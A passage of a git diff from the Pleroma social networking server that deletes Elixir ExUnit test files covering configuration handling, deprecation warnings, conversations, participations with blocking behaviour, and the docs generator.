clear_config(new_group1) - clear_config(new_group2) - clear_config(new_group3) - - config_map = [ - {old_group1, new_group1, "\n error :key"}, - {old_group2, new_group2, "\n error :key2"}, - {old_group3, new_group3, "\n error :key3"} - ] - - assert capture_log(fn -> - DeprecationWarnings.move_namespace_and_warn( - config_map, - "Warning preface" - ) - end) =~ "Warning preface\n error :key\n error :key2\n error :key3" - - assert Config.get(new_group1) == 1 - assert Config.get(new_group2) == 2 - assert Config.get(new_group3) == 3 - end - - test "check_media_proxy_whitelist_config/0" do - clear_config([:media_proxy, :whitelist], ["https://example.com", "example2.com"]) - - assert capture_log(fn -> - DeprecationWarnings.check_media_proxy_whitelist_config() - end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" - end - - test "check_welcome_message_config/0" do - clear_config([:instance, :welcome_user_nickname], "LainChan") - - assert capture_log(fn -> - DeprecationWarnings.check_welcome_message_config() - end) =~ "Your config is using the old namespace for Welcome messages configuration." - end - - test "check_hellthread_threshold/0" do - clear_config([:mrf_hellthread, :threshold], 16) - - assert capture_log(fn -> - DeprecationWarnings.check_hellthread_threshold() - end) =~ "You are using the old configuration mechanism for the hellthread filter." - end - - test "check_activity_expiration_config/0" do - clear_config([Pleroma.ActivityExpiration, :enabled], true) - - assert capture_log(fn -> - DeprecationWarnings.check_activity_expiration_config() - end) =~ "Your config is using old namespace for activity expiration configuration." - end - - describe "check_gun_pool_options/0" do - test "await_up_timeout" do - config = Config.get(:connections_pool) - clear_config(:connections_pool, Keyword.put(config, :await_up_timeout, 5_000)) - - assert capture_log(fn -> - DeprecationWarnings.check_gun_pool_options() - end) =~ - "Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`." - end - - test "pool timeout" do - old_config = [ - federation: [ - size: 50, - max_waiting: 10, - timeout: 10_000 - ], - media: [ - size: 50, - max_waiting: 10, - timeout: 10_000 - ], - upload: [ - size: 25, - max_waiting: 5, - timeout: 15_000 - ], - default: [ - size: 10, - max_waiting: 2, - timeout: 5_000 - ] - ] - - clear_config(:pools, old_config) - - assert capture_log(fn -> - DeprecationWarnings.check_gun_pool_options() - end) =~ - "Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings" - end - end -end diff --git a/test/config/holder_test.exs b/test/config/holder_test.exs deleted file mode 100644 index abcaa27dd..000000000 --- a/test/config/holder_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.HolderTest do - use ExUnit.Case, async: true - - alias Pleroma.Config.Holder - - test "default_config/0" do - config = Holder.default_config() - assert config[:pleroma][Pleroma.Uploaders.Local][:uploads] == "test/uploads" - - refute config[:pleroma][Pleroma.Repo] - refute config[:pleroma][Pleroma.Web.Endpoint] - refute config[:pleroma][:env] - refute config[:pleroma][:configurable_from_database] - refute config[:pleroma][:database] - refute config[:phoenix][:serve_endpoints] - refute config[:tesla][:adapter] - end - - test "default_config/1" do - pleroma_config = Holder.default_config(:pleroma) - assert pleroma_config[Pleroma.Uploaders.Local][:uploads] == "test/uploads" - end - - test "default_config/2" do - assert Holder.default_config(:pleroma, Pleroma.Uploaders.Local) == [uploads: "test/uploads"] - end -end diff --git a/test/config/loader_test.exs b/test/config/loader_test.exs deleted file mode 100644 index 607572f4e..000000000 --- a/test/config/loader_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.LoaderTest do - use ExUnit.Case, async: true - - alias Pleroma.Config.Loader - - test "read/1" do - config = Loader.read("test/fixtures/config/temp.secret.exs") - assert config[:pleroma][:first_setting][:key] == "value" - assert config[:pleroma][:first_setting][:key2] == [Pleroma.Repo] - assert config[:quack][:level] == :info - end - - test "filter_group/2" do - assert Loader.filter_group(:pleroma, - pleroma: [ - {Pleroma.Repo, [a: 1, b: 2]}, - {Pleroma.Upload, [a: 1, b: 2]}, - {Pleroma.Web.Endpoint, []}, - env: :test, - configurable_from_database: true, - database: [] - ] - ) == [{Pleroma.Upload, [a: 1, b: 2]}] - end -end diff --git a/test/config/transfer_task_test.exs b/test/config/transfer_task_test.exs deleted file mode 100644 index f53829e09..000000000 --- a/test/config/transfer_task_test.exs +++ /dev/null @@ -1,120 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.TransferTaskTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - alias Pleroma.Config.TransferTask - - setup do: clear_config(:configurable_from_database, true) - - test "transfer config values from db to env" do - refute Application.get_env(:pleroma, :test_key) - refute Application.get_env(:idna, :test_key) - refute Application.get_env(:quack, :test_key) - refute Application.get_env(:postgrex, :test_key) - initial = Application.get_env(:logger, :level) - - insert(:config, key: :test_key, value: [live: 2, com: 3]) - insert(:config, group: :idna, key: :test_key, value: [live: 15, com: 35]) - insert(:config, group: :quack, key: :test_key, value: [:test_value1, :test_value2]) - insert(:config, group: :postgrex, key: :test_key, value: :value) - insert(:config, group: :logger, key: :level, value: :debug) - - TransferTask.start_link([]) - - assert Application.get_env(:pleroma, :test_key) == [live: 2, com: 3] - assert Application.get_env(:idna, :test_key) == [live: 15, com: 35] - assert Application.get_env(:quack, :test_key) == [:test_value1, :test_value2] - assert Application.get_env(:logger, :level) == :debug - assert Application.get_env(:postgrex, :test_key) == :value - - on_exit(fn -> - Application.delete_env(:pleroma, :test_key) - Application.delete_env(:idna, :test_key) - Application.delete_env(:quack, :test_key) - Application.delete_env(:postgrex, :test_key) - Application.put_env(:logger, :level, initial) - end) - end - - test "transfer config values for 1 group and some keys" do - level = Application.get_env(:quack, :level) - meta = Application.get_env(:quack, :meta) - - insert(:config, group: :quack, key: :level, value: :info) - insert(:config, group: :quack, key: :meta, value: [:none]) - - TransferTask.start_link([]) - - assert Application.get_env(:quack, :level) == :info - assert Application.get_env(:quack, :meta) == [:none] - default = Pleroma.Config.Holder.default_config(:quack, :webhook_url) - assert Application.get_env(:quack, :webhook_url) == default - - on_exit(fn -> - Application.put_env(:quack, :level, level) - Application.put_env(:quack, :meta, meta) - end) - end - - test "transfer config values with full subkey update" do - clear_config(:emoji) - clear_config(:assets) - - insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) - insert(:config, key: :assets, value: [mascots: [a: 1, b: 2]]) - - TransferTask.start_link([]) - - emoji_env = Application.get_env(:pleroma, :emoji) - assert emoji_env[:groups] == [a: 1, b: 2] - assets_env = Application.get_env(:pleroma, :assets) - assert assets_env[:mascots] == [a: 1, b: 2] - end - - describe "pleroma restart" do - setup do - on_exit(fn -> Restarter.Pleroma.refresh() end) - end - - test "don't restart if no reboot time settings were changed" do - clear_config(:emoji) - insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) - - refute String.contains?( - capture_log(fn -> TransferTask.start_link([]) end), - "pleroma restarted" - ) - end - - test "on reboot time key" do - clear_config(:chat) - insert(:config, key: :chat, value: [enabled: false]) - assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" - end - - test "on reboot time subkey" do - clear_config(Pleroma.Captcha) - insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) - assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" - end - - test "don't restart pleroma on reboot time key and subkey if there is false flag" do - clear_config(:chat) - clear_config(Pleroma.Captcha) - - insert(:config, key: :chat, value: [enabled: false]) - insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) - - refute String.contains?( - capture_log(fn -> TransferTask.load_and_update_env([], false) end), - "pleroma restarted" - ) - end - end -end diff --git a/test/config_test.exs b/test/config_test.exs deleted file mode 100644 index 1556e4237..000000000 --- a/test/config_test.exs +++ /dev/null @@ -1,139 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConfigTest do - use ExUnit.Case - - test "get/1 with an atom" do - assert Pleroma.Config.get(:instance) == Application.get_env(:pleroma, :instance) - assert Pleroma.Config.get(:azertyuiop) == nil - assert Pleroma.Config.get(:azertyuiop, true) == true - end - - test "get/1 with a list of keys" do - assert Pleroma.Config.get([:instance, :public]) == - Keyword.get(Application.get_env(:pleroma, :instance), :public) - - assert Pleroma.Config.get([Pleroma.Web.Endpoint, :render_errors, :view]) == - get_in( - Application.get_env( - :pleroma, - Pleroma.Web.Endpoint - ), - [:render_errors, :view] - ) - - assert Pleroma.Config.get([:azerty, :uiop]) == nil - assert Pleroma.Config.get([:azerty, :uiop], true) == true - end - - describe "nil values" do - setup do - Pleroma.Config.put(:lorem, nil) - Pleroma.Config.put(:ipsum, %{dolor: [sit: nil]}) - Pleroma.Config.put(:dolor, sit: %{amet: nil}) - - on_exit(fn -> Enum.each(~w(lorem ipsum dolor)a, &Pleroma.Config.delete/1) end) - end - - test "get/1 with an atom for nil value" do - assert Pleroma.Config.get(:lorem) == nil - end - - test "get/2 with an atom for nil value" do - assert Pleroma.Config.get(:lorem, true) == nil - end - - test "get/1 with a list of keys for nil value" do - assert Pleroma.Config.get([:ipsum, :dolor, :sit]) == nil - assert Pleroma.Config.get([:dolor, :sit, :amet]) == nil - end - - test "get/2 with a list of keys for nil value" do - assert Pleroma.Config.get([:ipsum, :dolor, :sit], true) == nil - assert Pleroma.Config.get([:dolor, :sit, :amet], true) == nil - end - end - - test "get/1 when value is false" do - Pleroma.Config.put([:instance, :false_test], false) - Pleroma.Config.put([:instance, :nested], []) - Pleroma.Config.put([:instance, :nested, :false_test], false) - - assert Pleroma.Config.get([:instance, :false_test]) == false - assert Pleroma.Config.get([:instance, :nested, :false_test]) == false - end - - test "get!/1" do - assert Pleroma.Config.get!(:instance) == Application.get_env(:pleroma, :instance) - - assert Pleroma.Config.get!([:instance, :public]) == - Keyword.get(Application.get_env(:pleroma, :instance), :public) - - assert_raise(Pleroma.Config.Error, fn -> - Pleroma.Config.get!(:azertyuiop) - end) - - assert_raise(Pleroma.Config.Error, fn -> - Pleroma.Config.get!([:azerty, :uiop]) - end) - end - - test "get!/1 when value is false" do - Pleroma.Config.put([:instance, :false_test], false) - Pleroma.Config.put([:instance, :nested], []) - Pleroma.Config.put([:instance, :nested, :false_test], false) - - assert Pleroma.Config.get!([:instance, :false_test]) == false - assert Pleroma.Config.get!([:instance, :nested, :false_test]) == false - end - - test "put/2 with a key" do - Pleroma.Config.put(:config_test, true) - - assert Pleroma.Config.get(:config_test) == true - end - - test "put/2 with a list of keys" do - Pleroma.Config.put([:instance, :config_test], true) - Pleroma.Config.put([:instance, :config_nested_test], []) - Pleroma.Config.put([:instance, :config_nested_test, :x], true) - - assert Pleroma.Config.get([:instance, :config_test]) == true - assert Pleroma.Config.get([:instance, :config_nested_test, :x]) == true - end - - test "delete/1 with a key" do - Pleroma.Config.put([:delete_me], :delete_me) - Pleroma.Config.delete([:delete_me]) - assert Pleroma.Config.get([:delete_me]) == nil - end - - test "delete/2 with a list of keys" do - Pleroma.Config.put([:delete_me], hello: "world", world: "Hello") - Pleroma.Config.delete([:delete_me, :world]) - assert Pleroma.Config.get([:delete_me]) == [hello: "world"] - Pleroma.Config.put([:delete_me, :delete_me], hello: "world", world: "Hello") - Pleroma.Config.delete([:delete_me, :delete_me, :world]) - assert Pleroma.Config.get([:delete_me, :delete_me]) == [hello: "world"] - - assert Pleroma.Config.delete([:this_key_does_not_exist]) - assert Pleroma.Config.delete([:non, :existing, :key]) - end - - test "fetch/1" do - Pleroma.Config.put([:lorem], :ipsum) - Pleroma.Config.put([:ipsum], dolor: :sit) - - assert Pleroma.Config.fetch([:lorem]) == {:ok, :ipsum} - assert Pleroma.Config.fetch(:lorem) == {:ok, :ipsum} - assert Pleroma.Config.fetch([:ipsum, :dolor]) == {:ok, :sit} - assert Pleroma.Config.fetch([:lorem, :ipsum]) == :error - assert Pleroma.Config.fetch([:loremipsum]) == :error - assert Pleroma.Config.fetch(:loremipsum) == :error - - Pleroma.Config.delete([:lorem]) - Pleroma.Config.delete([:ipsum]) - end -end diff --git a/test/conversation/participation_test.exs b/test/conversation/participation_test.exs deleted file mode 100644 index 59a1b6492..000000000 --- a/test/conversation/participation_test.exs +++ /dev/null @@ -1,363 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Conversation.ParticipationTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Conversation - alias Pleroma.Conversation.Participation - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - test "getting a participation will also preload things" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) - - [participation] = Participation.for_user(user) - - participation = Participation.get(participation.id, preload: [:conversation]) - - assert %Pleroma.Conversation{} = participation.conversation - end - - test "for a new conversation or a reply, it doesn't mark the author's participation as unread" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _} = - CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - [%{read: true}] = Participation.for_user(user) - [%{read: false} = participation] = Participation.for_user(other_user) - - assert User.get_cached_by_id(user.id).unread_conversation_count == 0 - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 1 - - {:ok, _} = - CommonAPI.post(other_user, %{ - status: "Hey @#{user.nickname}.", - visibility: "direct", - in_reply_to_conversation_id: participation.id - }) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - [%{read: false}] = Participation.for_user(user) - [%{read: true}] = Participation.for_user(other_user) - - assert User.get_cached_by_id(user.id).unread_conversation_count == 1 - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 - end - - test "for a new conversation, it sets the recipents of the participation" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - [participation] = Participation.for_user(user) - participation = Pleroma.Repo.preload(participation, :recipients) - - assert length(participation.recipients) == 2 - assert user in participation.recipients - assert other_user in participation.recipients - - # Mentioning another user in the same conversation will not add a new recipients. - - {:ok, _activity} = - CommonAPI.post(user, %{ - in_reply_to_status_id: activity.id, - status: "Hey @#{third_user.nickname}.", - visibility: "direct" - }) - - [participation] = Participation.for_user(user) - participation = Pleroma.Repo.preload(participation, :recipients) - - assert length(participation.recipients) == 2 - end - - test "it creates a participation for a conversation and a user" do - user = insert(:user) - conversation = insert(:conversation) - - {:ok, %Participation{} = participation} = - Participation.create_for_user_and_conversation(user, conversation) - - assert participation.user_id == user.id - assert participation.conversation_id == conversation.id - - # Needed because updated_at is accurate down to a second - :timer.sleep(1000) - - # Creating again returns the same participation - {:ok, %Participation{} = participation_two} = - Participation.create_for_user_and_conversation(user, conversation) - - assert participation.id == participation_two.id - refute participation.updated_at == participation_two.updated_at - end - - test "recreating an existing participations sets it to unread" do - participation = insert(:participation, %{read: true}) - - {:ok, participation} = - Participation.create_for_user_and_conversation( - participation.user, - participation.conversation - ) - - refute participation.read - end - - test "it marks a participation as read" do - participation = insert(:participation, %{read: false}) - {:ok, updated_participation} = Participation.mark_as_read(participation) - - assert updated_participation.read - assert updated_participation.updated_at == participation.updated_at - end - - test "it marks a participation as unread" do - participation = insert(:participation, %{read: true}) - {:ok, participation} = Participation.mark_as_unread(participation) - - refute participation.read - end - - test "it marks all the user's participations as read" do - user = insert(:user) - other_user = insert(:user) - participation1 = insert(:participation, %{read: false, user: user}) - participation2 = insert(:participation, %{read: false, user: user}) - participation3 = insert(:participation, %{read: false, user: other_user}) - - {:ok, _, [%{read: true}, %{read: true}]} = Participation.mark_all_as_read(user) - - assert Participation.get(participation1.id).read == true - assert Participation.get(participation2.id).read == true - assert Participation.get(participation3.id).read == false - end - - test "gets all the participations for a user, ordered by updated at descending" do - user = insert(:user) - {:ok, activity_one} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) - {:ok, activity_two} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) - - {:ok, activity_three} = - CommonAPI.post(user, %{ - status: "x", - visibility: "direct", - in_reply_to_status_id: activity_one.id - }) - - # Offset participations because the accuracy of updated_at is down to a second - - for {activity, offset} <- [{activity_two, 1}, {activity_three, 2}] do - conversation = Conversation.get_for_ap_id(activity.data["context"]) - participation = Participation.for_user_and_conversation(user, conversation) - updated_at = NaiveDateTime.add(Map.get(participation, :updated_at), offset) - - Ecto.Changeset.change(participation, %{updated_at: updated_at}) - |> Repo.update!() - end - - assert [participation_one, participation_two] = Participation.for_user(user) - - object2 = Pleroma.Object.normalize(activity_two) - object3 = Pleroma.Object.normalize(activity_three) - - user = Repo.get(Pleroma.User, user.id) - - assert participation_one.conversation.ap_id == object3.data["context"] - assert participation_two.conversation.ap_id == object2.data["context"] - assert participation_one.conversation.users == [user] - - # Pagination - assert [participation_one] = Participation.for_user(user, %{"limit" => 1}) - - assert participation_one.conversation.ap_id == object3.data["context"] - - # With last_activity_id - assert [participation_one] = - Participation.for_user_with_last_activity_id(user, %{"limit" => 1}) - - assert participation_one.last_activity_id == activity_three.id - end - - test "Doesn't die when the conversation gets empty" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - [participation] = Participation.for_user_with_last_activity_id(user) - - assert participation.last_activity_id == activity.id - - {:ok, _} = CommonAPI.delete(activity.id, user) - - [] = Participation.for_user_with_last_activity_id(user) - end - - test "it sets recipients, always keeping the owner of the participation even when not explicitly set" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - [participation] = Participation.for_user_with_last_activity_id(user) - - participation = Repo.preload(participation, :recipients) - user = User.get_cached_by_id(user.id) - - assert participation.recipients |> length() == 1 - assert user in participation.recipients - - {:ok, participation} = Participation.set_recipients(participation, [other_user.id]) - - assert participation.recipients |> length() == 2 - assert user in participation.recipients - assert other_user in participation.recipients - end - - describe "blocking" do - test "when the user blocks a recipient, the existing conversations with them are marked as read" do - blocker = insert(:user) - blocked = insert(:user) - third_user = insert(:user) - - {:ok, _direct1} = - CommonAPI.post(third_user, %{ - status: "Hi @#{blocker.nickname}", - visibility: "direct" - }) - - {:ok, _direct2} = - CommonAPI.post(third_user, %{ - status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", - visibility: "direct" - }) - - {:ok, _direct3} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}", - visibility: "direct" - }) - - {:ok, _direct4} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}, @#{third_user.nickname}", - visibility: "direct" - }) - - assert [%{read: false}, %{read: false}, %{read: false}, %{read: false}] = - Participation.for_user(blocker) - - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 4 - - {:ok, _user_relationship} = User.block(blocker, blocked) - - # The conversations with the blocked user are marked as read - assert [%{read: true}, %{read: true}, %{read: true}, %{read: false}] = - Participation.for_user(blocker) - - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 1 - - # The conversation is not marked as read for the blocked user - assert [_, _, %{read: false}] = Participation.for_user(blocked) - assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 - - # The conversation is not marked as read for the third user - assert [%{read: false}, _, _] = Participation.for_user(third_user) - assert User.get_cached_by_id(third_user.id).unread_conversation_count == 1 - end - - test "the new conversation with the blocked user is not marked as unread " do - blocker = insert(:user) - blocked = insert(:user) - third_user = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blocked) - - # When the blocked user is the author - {:ok, _direct1} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}", - visibility: "direct" - }) - - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - # When the blocked user is a recipient - {:ok, _direct2} = - CommonAPI.post(third_user, %{ - status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", - visibility: "direct" - }) - - assert [%{read: true}, %{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - assert [%{read: false}, _] = Participation.for_user(blocked) - assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 - end - - test "the conversation with the blocked user is not marked as unread on a reply" do - blocker = insert(:user) - blocked = insert(:user) - third_user = insert(:user) - - {:ok, _direct1} = - CommonAPI.post(blocker, %{ - status: "Hi @#{third_user.nickname}, @#{blocked.nickname}", - visibility: "direct" - }) - - {:ok, _user_relationship} = User.block(blocker, blocked) - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - assert [blocked_participation] = Participation.for_user(blocked) - - # When it's a reply from the blocked user - {:ok, _direct2} = - CommonAPI.post(blocked, %{ - status: "reply", - visibility: "direct", - in_reply_to_conversation_id: blocked_participation.id - }) - - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - assert [third_user_participation] = Participation.for_user(third_user) - - # When it's a reply from the third user - {:ok, _direct3} = - CommonAPI.post(third_user, %{ - status: "reply", - visibility: "direct", - in_reply_to_conversation_id: third_user_participation.id - }) - - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - # Marked as unread for the blocked user - assert [%{read: false}] = Participation.for_user(blocked) - assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 - end - end -end diff --git a/test/conversation_test.exs b/test/conversation_test.exs deleted file mode 100644 index 359aa6840..000000000 --- a/test/conversation_test.exs +++ /dev/null @@ -1,199 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConversationTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Conversation - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do: clear_config([:instance, :federating], true) - - test "it goes through old direct conversations" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{visibility: "direct", status: "hey @#{other_user.nickname}"}) - - Pleroma.Tests.ObanHelpers.perform_all() - - Repo.delete_all(Conversation) - Repo.delete_all(Conversation.Participation) - - refute Repo.one(Conversation) - - Conversation.bump_for_all_activities() - - assert Repo.one(Conversation) - [participation, _p2] = Repo.all(Conversation.Participation) - - assert participation.read - end - - test "it creates a conversation for given ap_id" do - assert {:ok, %Conversation{} = conversation} = - Conversation.create_for_ap_id("https://some_ap_id") - - # Inserting again returns the same - assert {:ok, conversation_two} = Conversation.create_for_ap_id("https://some_ap_id") - assert conversation_two.id == conversation.id - end - - test "public posts don't create conversations" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "Hey"}) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation = Conversation.get_for_ap_id(context) - - refute conversation - end - - test "it creates or updates a conversation and participations for a given DM" do - har = insert(:user) - jafnhar = insert(:user, local: false) - tridi = insert(:user) - - {:ok, activity} = - CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation = - Conversation.get_for_ap_id(context) - |> Repo.preload(:participations) - - assert conversation - - assert Enum.find(conversation.participations, fn %{user_id: user_id} -> har.id == user_id end) - - assert Enum.find(conversation.participations, fn %{user_id: user_id} -> - jafnhar.id == user_id - end) - - {:ok, activity} = - CommonAPI.post(jafnhar, %{ - status: "Hey @#{har.nickname}", - visibility: "direct", - in_reply_to_status_id: activity.id - }) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation_two = - Conversation.get_for_ap_id(context) - |> Repo.preload(:participations) - - assert conversation_two.id == conversation.id - - assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> - har.id == user_id - end) - - assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> - jafnhar.id == user_id - end) - - {:ok, activity} = - CommonAPI.post(tridi, %{ - status: "Hey @#{har.nickname}", - visibility: "direct", - in_reply_to_status_id: activity.id - }) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation_three = - Conversation.get_for_ap_id(context) - |> Repo.preload([:participations, :users]) - - assert conversation_three.id == conversation.id - - assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> - har.id == user_id - end) - - assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> - jafnhar.id == user_id - end) - - assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> - tridi.id == user_id - end) - - assert Enum.find(conversation_three.users, fn %{id: user_id} -> - har.id == user_id - end) - - assert Enum.find(conversation_three.users, fn %{id: user_id} -> - jafnhar.id == user_id - end) - - assert Enum.find(conversation_three.users, fn %{id: user_id} -> - tridi.id == user_id - end) - end - - test "create_or_bump_for returns the conversation with participations" do - har = insert(:user) - jafnhar = insert(:user, local: false) - - {:ok, activity} = - CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) - - {:ok, conversation} = Conversation.create_or_bump_for(activity) - - assert length(conversation.participations) == 2 - - {:ok, activity} = - CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "public"}) - - assert {:error, _} = Conversation.create_or_bump_for(activity) - end - - test "create_or_bump_for does not normalize objects before checking the activity type" do - note = insert(:note) - note_id = note.data["id"] - Repo.delete(note) - refute Object.get_by_ap_id(note_id) - - Tesla.Mock.mock(fn env -> - case env.url do - ^note_id -> - # TODO: add attributedTo and tag to the note factory - body = - note.data - |> Map.put("attributedTo", note.data["actor"]) - |> Map.put("tag", []) - |> Jason.encode!() - - %Tesla.Env{status: 200, body: body} - end - end) - - undo = %Activity{ - id: "fake", - data: %{ - "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), - "actor" => note.data["actor"], - "to" => [note.data["actor"]], - "object" => note_id, - "type" => "Undo" - } - } - - Conversation.create_or_bump_for(undo) - - refute Object.get_by_ap_id(note_id) - end -end diff --git a/test/docs/generator_test.exs b/test/docs/generator_test.exs deleted file mode 100644 index 43877244d..000000000 --- a/test/docs/generator_test.exs +++ /dev/null @@ -1,226 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Docs.GeneratorTest do - use ExUnit.Case, async: true - alias Pleroma.Docs.Generator - - @descriptions [ - %{ - group: :pleroma, - key: Pleroma.Upload, - type: :group, - description: "", - children: [ - %{ - key: :uploader, - type: :module, - description: "", - suggestions: {:list_behaviour_implementations, Pleroma.Upload.Filter} - }, - %{ - key: :filters, - type: {:list, :module}, - description: "", - suggestions: {:list_behaviour_implementations, Pleroma.Web.ActivityPub.MRF} - }, - %{ - key: Pleroma.Upload, - type: :string, - description: "", - suggestions: [""] - }, - %{ - key: :some_key, - type: :keyword, - description: "", - suggestions: [], - children: [ - %{ - key: :another_key, - type: :integer, - description: "", - suggestions: [5] - }, - %{ - key: :another_key_with_label, - label: "Another label", - type: :integer, - description: "", - suggestions: [7] - } - ] - }, - %{ - key: :key1, - type: :atom, - description: "", - suggestions: [ - :atom, - Pleroma.Upload, - {:tuple, "string", 8080}, - [:atom, Pleroma.Upload, {:atom, Pleroma.Upload}] - ] - }, - %{ - key: Pleroma.Upload, - label: "Special Label", - type: :string, - description: "", - suggestions: [""] - }, - %{ - group: {:subgroup, Swoosh.Adapters.SMTP}, - key: :auth, - type: :atom, - description: "`Swoosh.Adapters.SMTP` adapter specific setting", - suggestions: [:always, :never, :if_available] - }, - %{ - key: "application/xml", - type: {:list, :string}, - suggestions: ["xml"] - }, - %{ - key: :versions, - type: {:list, :atom}, - description: "List of TLS version to use", - suggestions: [:tlsv1, ":tlsv1.1", ":tlsv1.2"] - } - ] - }, - %{ - group: :tesla, - key: :adapter, - type: :group, - description: "" - }, - %{ - group: :cors_plug, - type: :group, - children: [%{key: :key1, type: :string, suggestions: [""]}] - }, - %{group: "Some string group", key: "Some string key", type: :group} - ] - - describe "convert_to_strings/1" do - test "group, key, label" do - [desc1, desc2 | _] = Generator.convert_to_strings(@descriptions) - - assert desc1[:group] == ":pleroma" - assert desc1[:key] == "Pleroma.Upload" - assert desc1[:label] == "Pleroma.Upload" - - assert desc2[:group] == ":tesla" - assert desc2[:key] == ":adapter" - assert desc2[:label] == "Adapter" - end - - test "group without key" do - descriptions = Generator.convert_to_strings(@descriptions) - desc = Enum.at(descriptions, 2) - - assert desc[:group] == ":cors_plug" - refute desc[:key] - assert desc[:label] == "Cors plug" - end - - test "children key, label, type" do - [%{children: [child1, child2, child3, child4 | _]} | _] = - Generator.convert_to_strings(@descriptions) - - assert child1[:key] == ":uploader" - assert child1[:label] == "Uploader" - assert child1[:type] == :module - - assert child2[:key] == ":filters" - assert child2[:label] == "Filters" - assert child2[:type] == {:list, :module} - - assert child3[:key] == "Pleroma.Upload" - assert child3[:label] == "Pleroma.Upload" - assert child3[:type] == :string - - assert child4[:key] == ":some_key" - assert child4[:label] == "Some key" - assert child4[:type] == :keyword - end - - test "child with predefined label" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 5) - assert child[:key] == "Pleroma.Upload" - assert child[:label] == "Special Label" - end - - test "subchild" do 